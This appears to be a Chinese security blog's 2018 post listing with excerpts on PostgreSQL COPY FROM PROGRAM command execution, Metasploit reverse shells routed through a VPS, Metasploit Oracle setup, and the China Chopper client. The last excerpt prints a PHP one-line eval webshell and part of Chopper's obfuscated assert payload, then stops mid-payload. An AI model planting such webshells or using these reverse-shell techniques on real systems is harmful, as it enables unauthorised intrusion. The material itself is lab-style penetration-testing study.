博文

目前显示的是 2018的博文

Postgresql 命令执行之COPY TO/FROM PROGRAM

图片
    阿里云的一篇 威胁快报 提到了一个新的postgresql执行命令的方法,查了下 postgresql文档 ,原来postgresql 从9.3开始增加了一项新特性,可以利用语句COPY TO/FROM PROGRAM来执行外部命令,如图:     

内网metasploit之获得反向连接shell

图片
    环境:     win7(ip:192.168.9.130,假定为外网vps)     kali(ip:192.168.9.128,攻击机)     victim(ip:192.168.9.128,受害者机器,为了方便,这里就不拿其他机器做受害者了,就用kali,运行了有漏洞的服务,不影响实验)     当metasploit在内网时,为了反弹shell,要借助外网vps,不过网上基本都是给目标丢个msf的反弹马,让它反弹到vps再转到内网,可是前提是你得先有在对方机器上执行命令的权限(即先有漏洞),那么通常情况下内网metasploit如何根据受害者机器上有漏洞的服务获得反弹shell?     首先在vps(192.168.9.130)上用ew进行端口转发,监听9090,转发到8080:          然后在kali上与vps的8080端口建立连接,     接着使用漏洞利用模块,并设置反弹shell参数,反弹到vps监听的9090端口,         直接exploit的话会发现metasploit提示无法绑定到192.168.9.130:9090,这是因为kali网卡的ip并不是192.168.9.130,     那么怎么办呢?解决方法就是通过创建一个虚拟ip,来“欺骗”metasploit,kali有个网卡ip就是 192.168.9.130,命令如下:     ifconfig eth0:1 192.168.9.130  netmask 255.255.255.0      执行下ifconfig看看,发现已经成功创建“虚假”ip,      重新exploit,会发现这次metasploit能成功绑定了,    漏洞利用成功,kali与vps成功建立连接!! 执行下命令看看:

Metasploit添加oracle支持

Metasploit最初使用oracle相关模块时,会报错: [-] Failed to load the OCI library: cannot load such file -- oci8 [-] Try 'gem install ruby-oci8'[*] 解决方法主要是参看官方文档 How to get Oracle Support working with Kali Linux 有个要注意的问题就是,因为官方文档有点老,文章中提到的设置环境这一步: export PATH=/opt/metasploit/ruby/bin:$PATH 在较新的kali中Metasploit的ruby解释器的最新路径是"/opt/metasploit-framework/embedded/bin",所以这一步要改为: export PATH=/opt/metasploit-framework/embedded/bin:$PATH 一切步骤执行好后,重新运行msf的oracle相关模块报错: [-] Failed to load the OCI library: libmql1.so: cannot open shared object file: No such file or directory - /opt/metasploit-framework/embedded/lib/ruby/site_ruby/2.4.0/x86_64-linux/oci8lib_240.so [-] Try 'gem install ruby-oci8' 提示libmql1.so未找到,可是实际上libmql1.so就在/opt/oracle/instantclient_12_2/  (我下载的是12.2.0.1.0的oracle包,所以是这个路径)下,所以应该是之前设置的环境变量未生效,执行“source ~/.bashrc”让其生效,然后重新运行msf,即可正常使用oracle模块。

菜刀连接php一句话木马返回200的原因及解决方法

图片
    一句话木马的内容为“<?php @eval($_POST["abc"])?>”,用菜刀连接直接返回200          可是hackbar中执行命令却没有问题          很奇怪。后来在看雪上看到也有人发类似的 帖子 ,评论有人提到是php7版本过高的问题,搜了下确实是这样,php manual 中提到: Dynamic calls for certain functions have been forbidden (in the form of $func() or array_map('extract', ...), etc). These functions either inspect or modify another scope, and present with them ambiguous and unreliable behavior. The functions are as follows: assert() - with a string as the first argument      即php7中动态调用一些函数是被禁止的,比如在array_map中调用assert,否则会提示      Warning: Cannot call func_num_args() dynamically in %s on line %d     把一句话里的@符号去掉,则同样会报错“Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1 ”。       从返回内容可以看到php版本为7.1.6。抓包看了下菜刀的发包,的确用到了array_map("assert"..)          所以只要在菜刀的配置文件里把  array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."